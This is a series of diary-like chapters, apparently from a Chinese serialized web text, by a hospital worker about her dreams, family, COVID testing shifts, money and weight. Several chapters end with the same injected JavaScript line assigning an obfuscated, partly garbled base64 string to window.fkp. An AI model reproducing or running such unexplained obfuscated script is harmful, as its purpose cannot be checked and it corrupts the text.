    后来又想到了一个事，那个场景里是奶奶说我好懒，不做事，然后有一天我就去人家家里干活扫地，扫的很干净，自己家里就不扫。什么垃圾都看不到，到人家家里就干的兴高采烈。以前我不太懂为什么会这样子。我奶奶的表情很奇怪，我看不懂。反正在自己家就不扫，没有扫地的心情。后来我在一个心理视频上知道了。因为奶奶说我懒，其实是自己的内心一种投射，可能那天她干活很累了，自己心里面其实很想休息一下，而我又没有干活，她投射到了我这里。所以变得我懒，然后更懒了。后面就越发的懒。但是家里的农活其实也不会少干。后来自己工作了，很想做事，奶奶都不舍得得感觉，我不太懂，就是不会叫我干活，我感觉很奇怪。可能我长大了，会离开吧！不想让我想起这个家，就是在干很多活，也许吧！当时我不太懂。就感觉很奇怪。其实我并不抱怨我在做事，而且我做事根本就没有想什么，她叫我干啥我就干啥，几乎没有思考还有动脑筋。我感觉很轻松呀，也就出一点点时间和力气而已，搞不懂为什么她会觉得我很辛苦？
    面对弟弟，我感觉我很想讲他，然后又没有讲他的感觉，然后他把一个机子放到水里泡了，还说自己不懂，然后叫他拿出去晒，那个机器应该还有用。可是这给我的感觉就是我好想去批评他，但是我忍住了，但是并不是我不想去讲他，我只是感觉我不应该语言暴力。可是他出现了状况。批评的不好，人家就不愿意听，还会有心理阴影，如果一直都批评，他以后就没有办法成长。不知道怎么样才能不语言暴力的和人家沟通。也许我说话得语气需要改变的温柔一点。或者我需要去认真的学这方面的内容。没有以前那么累，但是我很希望我能瘦一点，但是在我的印象里，姑姑好瘦，但是她离过婚，可能在我心里会认为身材比较苗条，可能象征着婚姻不太幸福。但是我真的会比较希望我瘦下去，因为穿衣服很好看。结婚前穿的一个挫样子也就算了，结婚后还是一个挫样子很难受耶。而且我很喜欢漂亮的衣服，热爱漂亮的衣服。做自己喜欢的事，不就很好吗？
    虽然说吃的苦中苦，方为人上人。但是我真的挺想穿自己喜欢的衣服。那种干练的清爽的状态真的很开心。以前的我比较有毅力会去减肥，很胖减下来了，现在的我没有毅力了。我也不知道为什么？可能没有动力吧！人的动力来自于性吸引力还有攻击性。这两种我都比较弱。也有可能我想多了。我就是懒得。
    昨日之梦，梦里面的我说我心愿已了。就像一个老人家一样，然后梦境里的自己缩成了一小团，像一个灰色的线一样，闪着微光。好像是什么精神触角一样。然后我感觉看到了老公的爷爷，不知道他讲什么。好像叫了我名字。然后下一个场景，就是感觉家婆说我的工资只有三十块钱。梦里的她是灰色的。这件事让我想到了什么？让我想到了实习的时候一个同班同学，很奇怪一个女孩子，她说话好挑剔的那种，然后不小心碰到了她的床，她就好凶的讲我，后面有几次，她都好凶。后面我有一个在寝室里的同学就走了，可能回家住了。然后后面我的心情就很差，但是嘴巴上又不讲什么，后面大夏天盖被子弄的房间好臭，然后她很累的时候，我就嗑瓜子，她说好吵。但是我后面知道她讲好吵，我就开心了。一开始她好像和其他寝室讲了我的坏话，后面的整整一年，我都这么恶心她，也恶心自己。反正面上我就是没有讲不开心。也没有什么太过于的情绪？很平和。

 第260章

    梦境。梦境里是我吧？我也不知道，梦里面是一个学校。梦境里的学校在学习的东西很奇怪，可能很像刻画灵魂之类的。梦里面，一个场景，我看到了一条跳舞的美人鱼，然后还有一群漂亮的女孩子，她们的课程可能是跳舞，然后她们在一条路上边跳舞边走，后面她们的路上有很多沙子石头之类的。然后她们就穿起了鞋子。老师给了我一条红裙子，我感觉我穿红裙子并不好看，但是还是穿了。然后我们在一个地方表演，然后突然出现了一条类似于美人鱼的女人，她是人类扮演的，表演非常的轻柔。然后我们有一点点难受，因为我们很用心。结果突然出现了她。后面我们躺在了草地上，然后我拿出了手机。梦里我旁边的女孩子在说着什么，但是现在的我忘了。后面是学校里的东西。学校里的老师在看一本册子。他说我的老师是一个什么道长。然后后面还有一大堆的老师，都是一些奇奇怪怪的名字，现在的我看不懂。也不认识。后面是梦境面的女孩子，不知道是我还是谁。在刻画一个灵魂。她出自名师，但是她画出来的灵魂，都是类似于恶鬼级别的。梦里面她说：她入了鬼道。然后她又开始下笔。武松打虎。不知道为什么会想到这个词语。梦里面画出来的灵魂嘴巴在吐很浓郁的黑色的墨水，然后又看了其他的。看不懂，后面她又下笔，一下笔又是一双真实的眼睛，她后面没有动手刻画了，她说她并不想刻画活物，可是她一下笔就是活的东西。梦里面的她很烦。那双眼睛很好看。好像经历了什么，但是我看不懂，她也没有继续画下去。可能她画的灵魂都会进入鬼道吧！所以她好难受。然后她盖上了书本，梦里的我也醒了。
    梦里还有一个场景。梦里面是一个男的还是女的，不清楚，他约出去，然后喝酒？不太懂梦里那个人好像是我，我被约出去喝酒？然后他也没有干嘛，就等人家睡着了，拍下了好多照片，梦里的照片挺正常的，然后他威胁我，要我出钱多少块钱一张，因为梦里的照片有时间，虽然衣服正常，但是很多天连着一起，就算没有事人家也会觉得有事，后面我就一张一张付了钱走人。这让我想到了以前看过的一个小说。也是一个男的，他已婚，然后他可能工作比较好，那个年代社会发展不是很好，所以有了一个年轻的女孩子找他，后面其实他也没有做什么，但是那个年轻的女孩子用摄像头拍下了东西，要他付钱，不然就闹到单位去，让他身败名裂。写的大概就是这么一个事。文笔很好。但是我不记得他的文笔了，就记得这个架子。然后刻画的他就不得不接受了，那件事，付钱好像是。我感觉有点子脱了角色，因为她没有钱，哪里来的钱买摄像头，可能是团伙作案，但是文笔写的隐晦看不懂。

 第261章

    昨天和老公吃完饭到加油。本来可以回家的时候顺便把油加了的，但是由于我前段时间摔过一次，心里有阴影，然后这段时间骑车都慢悠悠的像慢羊羊村长，虽然我心里经常这样子吐槽自己，但是我真的胆子比较小。后面老公就带我去，本来他希望我能骑车载他的，因为他想陪我吧！但是后面有一个沟有一点点坡度，然后搞得我好紧张。最近路面在修，还没有修好，所以路有点坑坑洼洼的，我就差点把我们两个都栽下去了，所以老公只能自己骑车载我。他骑车比我好。但是我胆子好小，光是他平时适应的速度，我都好害怕。后面我们加好油，就回去了。不得不提一句，最近加油加的好快，而且消费好高。我真希望我中午能不回家，可以省钱，但是几乎没有位置休息，然后如果中午在单位，领导又在。时间久了怕闲话，怕尴尬。我想到了一个地方，病案室那边有一个凳子。但是我感觉太脏了。收拾我又懒，不然我真希望我可以在食堂吃好饭，然后去病案室休息。可以省油钱。
    然后我们就去散步了，散步的感觉还好，月色很朦胧的感觉，可惜这种月亮在书上说可能是最近会下雨的天相，但是实际上并没有下雨。天气预报说元月份才会下雨，其实我也是道听途说，我并没有看到这个天气预报。已经有四五月份没有下雨了。刷一些小视频却发现沙漠有降水，真希望来一场台风，乡下的地都好干旱。有的地方吃水都很困难。
    昨天宝宝很喜欢粘着我，其实我也很开心，但是我需要工作，不希望宝宝实在太粘。然后因为我和老公到散步，所以和宝宝睡了一会儿，到了凌晨一点钟宝宝睡熟了，我再回老公那里因为我早上需要上班，大概五点半左右打算出门。没有想到到了这边，睡不着，我并没有说话，只是脑子里在回忆上班的一些事情，然后老公感觉我很吵，吵得他好烦，我在想这家伙难道和我心有灵犀？还是有特异功能？然后很晚都没有睡，很清醒。后面可能到了早上睡着的，所以今天早上的闹钟没有闹醒我。然后我没有带转运箱和冰块。然后又急急忙忙过去，后面半路发现时间不够，又回去了，请司机帮我带的东西。真的是好尴尬，我当采核酸的了加负责人。到了十点换班，然后休息了一会儿，中午家公说买了一个燃气灶是名牌西门子的，然后发现那个燃气灶的名牌牌子好像贴上去的，所以我发现了也没有怎么讲，反正老人家花了钱就图个开心，讲了人家也会不舒服。后面表哥还有舅舅看了也说好。认为捡了个大便宜，所以我们都说好，然后家公也说了他那笔钱就当自己赌了一把，不怕。后面我就去休息了，再后面我就去上班了，晚上的时候家婆说那个燃气灶有一个小地方有一点点坏。可能是需要花十几块钱修一下才能好。打了电话给那个卖家，他过几天会来我们那里带东西来修。
    然后最近家里的电视机坏了，家婆说去某一个地方修需要花五百块钱，后面家公就去其他地方修了。然后家公的电脑主机坏了，我想买过一个电脑主机，大概需要两千五百块钱，本来很想给妈妈奶奶，等亲戚买衣服的。给他们买衣服的话，大概也是花几千块钱，如果两个都要的话，我就预算不够了，过年可能会过的很惨。所以需要想一想，还有几天就要双十一了。好想买东西啊！然后老公的堂妹生宝宝了，我需要给她宝宝买新衣服，代表表嫂的一份心意。我们家还需要包一份红包。花支有点子大。需要省点钱了，然后我还想买鞋子。很想倒腾一下自己但是这真的需要花很多很多钱。看了配音的课程，本来想人家十分钟两百块，好羡慕，然后发现培训课需要近五千，如果我单身狗状态，可能会拼一下，但是我上有老下有小的，还是让它吧！但是我单身狗状态，我也可能学不会，就像我学的会计课一样，因为我太焦虑了，当为了收益而去学习的时候，我内心会没有动力的。我挺想知道为什么？为什么我想以挣钱为目地学习还有工作的时候，状态很迷，经常把我往沟里带，而当我忘了这种状态的时候，反而做的还行，但是我的脑子里还是会想收益的东西，所以状态不算好。好奇怪。我发现我的脑子很讨厌我说它笨，可能说了一次或者两次。它就会开始在我的脑子里攻击我。就像两个人都是自己，但是它们在不停的吵架。可是很想知道原因是什么？
    昨日宝宝的状态让我明白了，那次心理课讲的开窍是什么，什么叫内心真实的快乐，宝宝的那个状态就像，但是现在宝宝的状态就感觉她心里很不开心，很像小时候的我一样，可是我不知道怎么样才能让她明白我并没有太多的办法，然后她总有一天会长大。她已经是独立的个体了，需要自己慢慢的长大。小时候的我也是这样子的吧！我好像能理解气呼呼的感受，也许我需要和我妈妈好好打电话吧！好好沟通。宝宝是我的未来，我是我妈妈的未来。妈妈又是我的过去，我又是宝宝的过去。很奇怪的一种理解，这就是我们的关系。但是我们又是现在的我们自己。就那么莫名其妙的构成了现在的我。

 第262章

    梦境，梦境里是一个女孩子的灵魂，她一开始给我的感觉是很美好的样子，后面梦到了一座山，山上好多东西然后她说了什么我不太听懂。梦里的她看着我，不停的叫传金的名字，她说她再也不想回忆了，那充满杀戮的日子。她说是你吗？我不太听得懂。但是我感觉她是另一面的我自己。但是梦里的我并没有那种感觉。只是静静的听她讲。但是我听不懂。山上有好多美好的东西，然后可能梦里的那个人变成了杀戮机器，然后都砍光了了，死了一大片，后面很多东西就被冰封了起来。梦境里的我黑乎乎的，好像全身的负能量都要爆表的感觉好像我快控制不住了，但是这又是梦境里的世界。
    爱情友谊？好像什么情绪的能量都无法消融它。我感觉好像在我的背后的能量里看到了羽鸟。然后梦里的他黑成了一团球一样，他的笑容很难看，感觉就像哭一样。在移动着。水果篮子我没有看完，不知道羽鸟的诅咒是什么？也许最近我需要看一会儿动漫？

 第263章

    今天下班回家，我终于懂了为什么行政的工作也会比较累了。一直连着工作了一天。看起来挺简单的事然后就是一直重复的工作，繁琐。等做完的时候，可能晚上七点左右了吧！我感觉已经算快的了。
    挺好的，好好干。不求工资多少，只希望早点干完。还有好几本书没有背完，十二月不知道会不会审核到自己，总感觉会提心吊胆的。然后一些题目没有刷完。然后还要提升工作技巧，技能，真的是没有任何一个工作是不需要努力，不需要用心就可以完成的。
    今天下雨了，还可以。无奈的是明天要去做核酸了，我以为四号隔几天做，没有想到会连着来。真希望疫情早点过去啊！不知道要多少年才能好。
    我最近没有看倪海厦老师的视频了。因为我感觉最近的我需要开心的能量。学这个很需要精神。所以学习也很苦，不吃学习的苦就要吃生活的苦。最近看到的文章，说吃芋头可以散结。看了好多次，记得有一个病人在我刚毕业时遇到的，他大概七十五岁的样子，他去给自己母亲上坟，然后在坟前突然嗓子很痒，就吐了一口痰然后他的声带还有哪里就长了一个小息肉还是什么，然后他就没有办法发出声音了。好久嗓子都是哑的。很难说出话来，问我有什么药可以帮助到他。我只能和他说没有，因为我也不太懂。后来可能印象太深刻了，然后看到最近的文章，突然就想起了这个事，不过文章里讲的，芋头散结，需要长期吃。三天打鱼两天晒网是没有什么效果的。我也不知道，我并没有实践过。可是也不是每天都必须去实践体会过才明白。不然一个人一辈子活一万次也是不够用的。
    中医确实有效果，可是好难记。好多人他们都是自己去学中医。不知道自己要表达什么？只能说任何一种职业都不容易。把平凡的琐碎的事做好，就很好了。

 第264章

    今天早上，要去采核酸。所以自己就几乎一晚没睡，因为上次差点迟到，差三分钟就迟到了，所以这次我和老公都很紧张，然后就把闹钟的声音调到了最大。然后我没怎么睡好。然后五点半左右走的。然后到了食堂，吃东西，然后去领物资，我感觉就像打仗一样，她们领物资好快，然后我也拿到了我需要的物资。后面我就坐车去了。我发现司机还是很好的，他会帮其他人带物资。我想我下次也请他帮忙带。后面没有想到，因为司机去送其他点的然后就让我等。后面我就快到了，我以为我要迟到了，因为排了好长的队伍，其他人都弄好了架子，然后我好急，一急就关门的时候把我的手也压到了。出了一点点血，皮可能有几毫米厚裂开来了，然后时间赶不及，我就穿上了防护服之类的采核酸，受伤的手多穿了一个手套。然后就采完核酸到点了。我以为我可以回家呢。然后说不行，要在点里守着，后面打电话给其他人也是这样子讲，我就错过了一顿饭。我报饭没有算到我的。然后我就下班了回家吃。后面我发现我吃完饭就一点四十多了，我一般一点五十多走，因为医院有了钉钉打卡，我怕迟到。然后我的路又很远，怕会有什么事耽搁时间，还有就是我骑车比较慢。后面就到了医院。趴了一会儿。后面我就发现我的下午班，整理文件，其实让我感觉也很复杂。然后上这个班的小姐姐耐心的教了我一下午。我写了份简历，找了几个领导签字，后面就在看文件上的签名。然后一下午就过去了。下班。因为我还不太熟悉，这个是比较简单的工作了，对我来说我感觉复杂。因为要找院领导签字，然后还有的比较紧急的会还要自己做决定。要自己做决定的会，我感觉难。难在我怕自己做决定。怕会做的不好，怕被骂。然后我感觉自己没有主见，没有想法，我就喜欢那种我不动脑子，然后领导教给我特别简单的事做，就行。可是生活里就是那样子有舒适区，就需要跳出舒适区。看自己了，努力好好工作。用心。每一项工作都不容易，用心，加油！
    后面派了新人过来采核酸，不知道他。如果需要我自己采，我肯定还是能用力顶上去的，但是派了新人就更好一点。因为正好压的是我的右手大拇指，采核酸的时候，人家觉得痛，我也觉得痛。然后脱防护服我也痛。真的是无奈极了。
    好好休息一下吧！明天早上还要去，因为新来的男孩子，他没有在采集点待过，然后他给我的感觉，让我很不知道怎么讲，给我一种很担心他不来的感觉，本来手没有受伤的时候，我可以叫司机帮我拿东西，然后我就自己到采集点，我离采集点比较近，离医院比较远，我早上就不用跑那么远，起早，可是突然来了这么一个状况，那就只能改变一下了。
    我感觉他可能零零后，零零后没办法。

 第265章

    今天我五点半左右就去了医院。和新来的男孩子一起。他不要我带早餐给他，说不吃。然后社区的工作人员给他买了早餐。
    盘点了东西。整理了一下，我没有经常去整理。隔一段时间一次。
    今天排队的清洁工阿姨说自己的工作区域又大了一个范围。他们四点钟起来搞卫生，工资没有看到增加了，怀疑自己上辈子是遭了什么孽。然后采完核酸，他们就去开会了。他们有插对，工作人员说开会急，可以开完会再排队，后面好长的队伍。你有急事人家也有急事。谁都不肯的。
    看到一个腿受伤的小姐姐，工作人员安排她插队。她的腿固定的东西还好看黑色的一节一节的剩下的词语匮乏形容不出来。我就多看了两眼。还有一些穿蓝色工作服的排队的人，我感觉他们应该那里工作的，外套应该很保暖，或者他们的身体素质还不错，我都穿了很厚的衣服，感觉好冷，他们没有耸耸动的感觉。她们看到了我的时候，在一起打闹一个拍一个人的屁股，给我一种在打趣说我的屁股太大了的感觉。真心不想减肥。可是身边的种种反应都感觉在希望我也减肥。内心有点气恼的感觉。减肥的话我就可以穿我以前买的那一套衣服，那套衣服可能四百多块钱，然后我才穿了三次，现在就太胖了没有穿。想想都不划算。如果我瘦下来我就还可以穿。计划穿十年呢？当时买的时候就是这么打算的。
    风吹的人怀疑人生，树叶不停的随着风的意志摇摆。让我不禁抬头一看，上个月我很喜欢的那棵树，绿色的叶子居然开始变成了淡红色。变黄了吧！那个三角梅还是很好看的，花期很长，一个多月了它还是长盛不败依然是艳丽的粉红色。让我想到了死亡芭比粉。以前我买了好多支这个口红，快临期的好像是什么牌子的，十几块钱一直。好用是好用，但是根本涂不出去。我喜欢涂大红色，以前有一个朋友说我涂大红色不好看有攻击性很强的感觉，可以选择涂淡淡的粉红色看起来更自然一点。后面我又感觉豆沙色好看。后面就没有涂了，听说涂了要卸妆，我就懒得。最近又想美甲。感觉美甲麻烦，做手膜，估计又得吃土了。还有也不知道我们能不能？万一不能，拆了贵。
    天气变化很快。又下起了小雨，我马上躲进了一位大姐的伞里，听着滴滴答答的声音，大姐说要是能有个棚子就好了，然后还需要配备雨衣。下雨那些排队做核酸的人很不方便。配备雨衣，他们那些维持纪律的志愿者，可以更好的移动。
    大姐说她有亲戚正好是我们医院的领导，有一个已经退休了，还有我们医务科的主任是她那个亲戚的儿子。然后问了我一些问题我不理解然后我就瞬间表示我只是个打杂的，我不懂。大姐好有先见之明。她穿了薄薄的羽绒服，车子里还备好了一件毛衣，她说如果很冷。她再穿起来，裤子穿了两条。我没有穿两条裤子，小腿冷的我有点想打抖。我感觉我新买的鞋子很漂亮，有宝宝喜欢的小熊。但是这个天气我还想再买一些鞋子，可以保暖的那种。还有我需要去整理一下我的衣柜了，把我的衣服整理一下，夏天的提过到自己的房子里。去。冬天的再提过来。我的袜子还没有找到。下班回家之后一点也不想翻衣柜。一般都是玩手机。玩手机真的很幸福。虽然心里明白这只是奶头乐，但是情不自禁就会沉浸其中。为什么快乐都是有烦恼的？

 第266章

    排队的好像没有几个人了，冷，在下雨。发现了两套发黄的防护服。报给领导，说不能穿。要带回去报不良事件。虽然不能穿，应该可以用来干其他的吧！人员培训之类的，就是不知道要不要退回厂家。
    看了一个关于医生在网上兼职，然后被带手铐的帖子。他在网上工作提供了医疗价值，然后被认定为非法行医。医务人员还是少在网上兼职，因为很不好。看了这几个例子之后，没有想到文章里说医生可以写文章。可以跑滴滴，但是不能在网上当医生。不过也确实，我想到了一个医生的例子。他朋友问医生小孩的问题，然后医生说没有什么事，然后他朋友的孩子就更严重了，或者死亡了，医生赔了几万块，因为问了他。所以这要怎么讲呢？我突然理解了，医生注册了专业，他们不能干其他专业医生的事，这个事了，因为这都算非法行医。就像有个笑话讲的，有个人的牙掉到了胃里，牙科医生说这是肠胃科该看的，他看不了后面，去了肠胃科，那颗牙又走的去下一个部位，就去下一个部位的科室看病，然后它又掉到了哪个部位，就又去哪一个部位的科室看病。不记得原本是什么了，我只记得大概的事。就是这么一个故事吧！但是和这个又不一样，如果一个病人过来了，他生了病，但是这个病并不是自己专业上的，那么推荐病人到专业的医生那里去看，没有错。因为各有分工，专业的医生，他们学的知识就更细了。这让我想到了中医。倪海厦老师的课。但是我也想不起来具体那些内容。真的好复杂。虽然人是一个整体。我感觉中医的就是精气神可能是三个系统的东西。但是我也不知道怎么写我的感觉。因为不太明白我的感觉就形容不出来，描述不出来，可能我需要多听他的课。英语很难学，一个词或者一句话需要学四十七遍，我才有乐得其中的感觉，而且还没有背出来的感觉。这个倪海厦老师的课我就不知道我要花多少遍的时间去听他的课了。我的资质一直都是这个样子，可能肾虚吧！以前都不会，背书学一遍，老师讲完我就背出来了，不过这个也看我的心情，心情和状态好，就一遍过，心情状态不好，就两三遍过。现在的状态就是教一遍不会，再教一遍不会，再教再不会。然后一直重复一直不会。邪乎到家必有鬼。这么邪门的，但是我不太理解为什么这样子。会不会是因为我哪天吹到了风，风邪在我身体里呆久了，它吸收了我的能量，长出了意识。当然这是乱想的。
    好想去看小说啊！好久没有看了。但是我又不想看，有一个帖子说我们喜欢看小说的原因就是因为小说的主角拥有我们难以获得的品质，比如持之以恒，做事情坚持不懈。努力。认真。这种能力是在这个世界里对于我来说很艰难的事，所以会很羡慕，很想成为这样子的人，可以把繁琐的事情做到极致，而且做好。然后慢慢的事情就做好了。可是我爱看小说的原因还有，有的作者写的东西很好，他的思想是我羡慕的，可以让我开阔眼界。可是这个世界上的东西和知识都太多了，哪里看的完，哪里影响的玩，哪里学的会那么多所有的知识？这些需要好好的选择。就像小时候的课文，有一只猴子他遇到小兔子，在种桃树。他也去种桃树。然后种了一年，遇到了小熊在种李子树，他就把桃树拔了种李树，然后看到了小花猫在种香蕉树。他就拔了去种香蕉树。后面又遇到了什么，所有的动物在几年后都有了收获。就他没有。看的时候没有懂，等长大了一点就会觉得，他为什么要拔掉，所有的都种不就都有收获，再长大一点才懂，讲的是我们的注意力或者其他的吧！
    可是我还是会心猿意马。想要好多东西。太过于想要好多事物会不会是因为自己内心太穷了，怎么样才能让自己感觉到充足呢？
    最近的思想很奇怪。难以启齿的复杂。已经很久没有这样子了。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第267章

真希望我能好好干。
    把事干好。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第268章

    去办公室打秋风。可能是一个月吧！我以为就几天子。那里的事确实比较忙。我就不用做太过于复杂的事。一般我都是问其他的老师。反正比我会的都是老师。
    好难。要看文件要自己去分析文件的紧急的还是不紧急的，还有要找领导签字，要复印文件给人家。可以走好多次。我也不知道我为什么会觉得难，我感觉难。遇到了主任，主任说好多人都觉得我运气好，居然去办公室上班了。不知道自己能待多久，能待多久就多久吧！好好干。我觉得困难的点在哪里呢？
    我需要动脑子我感觉困难。脑子能转一个弯我就觉得累。然后办公室的压力是不是很大？可能我胆子小害怕吧！
    我觉得是。
    反正就一个月而已。干一天就少一天，不怕。我已经干了一天了，还有二十九天。
    昨天医院开了抗疫人员表彰大会，好多人都有鲜花。我也收到了，开心。这个会议让我感觉到了我们院领导的演讲水平还是可以的。反正这种会议作用就是把工作了的人的心灵凝聚在一起。辛苦是肯定辛苦的，开心也是开心过的。演讲的人可以得到锻炼。我们不用演讲的人收到了花，一束花也好贵，不知道要不要一百块，总之我感觉值了。
    和我一起工作演讲的人是小芳，小芳的胆量还是可以的。声音很洪亮中气十足。我羡慕人家的中气十足。还好吧！
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第269章

    梦境。梦境里面好像有什么剧情。不过很乱我不太看的懂。梦里的我一开始一直在骑车上班，不停的骑车，去了这个地方又去那个地方，上班上班上班。然后下一个场景，梦到了一个水池。然后就是下一个场景，梦里面有什么路，但是我看不懂，我好像要去一个学校接孩子，然后我去了一个学校，梦里的孩子我不太认识，然后梦里有人和我说什么，我听不懂。然后梦境里下一个场景是一个女孩子，她走动的时候有很多荷花在和她一起走，好像是泥土一样的地面，她就这样子走，然后那些荷花就陪着她一起走。大概是几岁的女孩子，然后她就看着我。然后我看到了她旁边的一个奇怪的灵魂，她走过去的时候。那个奇怪的灵魂把树叶给弄成绿油油的颜色，很旺盛的生命力。那个奇怪的女孩子说那是春天。春天的灵魂吗？然后就是下一个场景，女孩子就走到了我的角色里，不停的把一把刀刺向了我这个角色的胸口，喷了好多血。以死明志的感觉。梦里的女孩子不停的在自己的胸口戳洞。我站在旁边，这是什么好奇怪啊！然后梦里的我就蹲在地面上看她。她说你怎么还不走。然后下一秒就看到了一堆的恶灵围着这个角色。可能梦里的女孩子是另一个世界的我自己吧！因为梦里的恶灵也叫她叫我的名字。然后梦里出现了一条路很明亮很好看的路。我在犹豫不决知不知道该怎么向前面迈步。旁边又有一个女孩子很漂亮的灵魂她在那条路的旁边静静等着我。我感觉梦里的她一点都不着急。
    可能和白天的事有关系吧！白天的时候听到了别人的电话，可能是婚姻什么的？不过我没有怎么去听，因为那是别人的事，结婚之前可能会对别人的八卦很好奇，很想吃瓜，结了婚已经知道了结婚是什么鬼样子，所以对很多的事物的好奇心其实没有了，没有了并不代表生活就活不下去。就意味着可以持之以恒的选择一件事，脑子里不会那么多的杂念。我也不知道为什么我的状态会变成想要持之以恒的做什么？之前都是一会儿想去做个服装厂工人，一会儿想去摆地摊一会儿想去卖奶茶。每隔几天就是一个新职业，非常不可思议。现在的就是好好上班。没有额外的其他的想法还有念头。
    和老公讲好了。下班了以后我在医院抄一会儿书再回家。因为好几本，而且可能要考核。然后在家根本看不进。老公同意了。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第270章

    梦境。梦里面去了娘家的地方，家里的稻子成熟了，我们在打谷子。然后我走在田边的小路上，我前面还有一个孩子，他不小心在我前面几步脚的地方落了水，然后我就跳到河里把他捞起来了。然后他妈妈说他好像要拉屎，希望我顺便帮他弄一下，我就站在河水里，他顺便拉了屎，爷爷给了我一块很大的石头让我站起来，后面我就上了岸。和孩子的妈妈讲了，他在我几步脚的地方，自己落了水的。然后梦里的孩子妈妈说我知道。后面就是继续在田里打谷子。然后看到了好多小孩子在抢和覆盆子一样的浆果。然后我看着他们兴高采烈的样子，然后我的旁边也出现了一课颗很像那种果子的植物，不知道是覆盆子还是什么，挂满了果实，但是我没有采摘它，有一个孩子好像掉了一点东西在那颗果实旁边，然后梦里的我把它捡起来了，那个果实，很像板栗的颜色，又很像一种热带的水果，我突然怎么也想不起来它的名字了，好像叫菠萝蜜。就小指甲盖那么大，我把它塞到了我的衣兜里，然后梦里面的我在想什么，我不知道，梦里旁边的人，说要拿什么东西，然后他说不敢拿，我不太听得懂，就看着他走远，然后梦醒，梦好像又没有醒，我梦到了宝宝和家婆回来了。梦到我从床上醒来。笑了笑，然后又困了，然后再醒来就是她们根本没有回来。
    醒来之后的我感觉有点子可惜，那个可是覆盆子，吃了它对我身体有好处，梦里的我居然不摘。好可惜。
    梦里还有一个场景，我不知道它是哪一个时间段出来的。梦里面老公在骑他的车，梦里我在跟着他，然后我们两个走到了一个地方。老公说前面的路不好走，然后我看到了路，就走过去，发现前面的路，只有路壳子没有底。很空，很危险。老公说算了吧！然后梦里的我就呆呆的看着梦中的场景，我想我今天应该走模范桥上班。怎么走到这里了。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第271章

    等老公下班，他的车没有电了。天气很阴沉。感觉不久后就要下雨了。才五点多就黑了。然后一带上帽子，我的车帽的盖子就好多雾气，胆子又小，然后又在下坡，还好控制住了，后面下了坡才把盖子打来，很想走小路去他上班的地方，但是我又想走大路，怕人家说我们小二轮车，老是走人行道。然后好多车啊！车水马龙大概就是这个样子，我好像走到了快速车道，然后挡了别人的路了，后面我就靠近线行驶，给人家让个路。可把我吓得心惊胆战的有的时候夹在两个车中间，还好过的去。有的时候还有公交车。后面找了好久都没有看到转弯的，再后面终于看到了。还好这个过程很顺利，找到老公工作的地方就去了，碰到了他店里的老板在和人家谈事情。我不记得他们了，他们还请过我吃饭，那顿麻辣小龙虾很香。我记得，但是他们的脸我不记得了。真的是，就简单打了个招呼，我感觉我好奇怪。因为我感觉我打招呼的语言或者什么不对。然后就胆怯的找我老公去了。后面发现他在和一位设计师在工作。然后估计需要比较久才能下班。
    百无聊赖的我就看了两个帖子。胡歌居然会看书。不可思议。不过我也不怎么关注他，《琅琊榜》人家说很好看，我也没有去看。好久没有看。就《仙剑奇侠传》看了一点点，觉得杨幂好看，还有龙葵。其他的，没有看完，都不知道有没有看超过两集。内容也不晓得。感觉自己就像住在哪个不为人知的村子里一样，与世隔绝。明星居然会看书，而且看的很多。看他照片的眼睛确实好看。腹有诗书气自华吗？可能吧！
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第272章

    梦境。昨天在医院看书。因为医院的环境比较好一点，然后家里比较吵。所以和老公商量好了。一开始是抄书，后面就开始念书。大概念了十多页吧！后面就跳着看我需要把应急预案之类的看一遍。
    了解我们医院怎么处理这些事情。好像看了四十页左右，但是能记住的，个人感觉没多少需要继续看。三本书加起来可能有十厘米厚。加油吧！其他人的话，他们会在家里看。
    然后就是和梦境有关的内容了。
    前几天一直感觉脑子里有一个人的灵魂的样子。感觉像以前的同事。她在我脑子里笑。后面我就该干嘛干嘛！黑色的能量。像瓶子的。
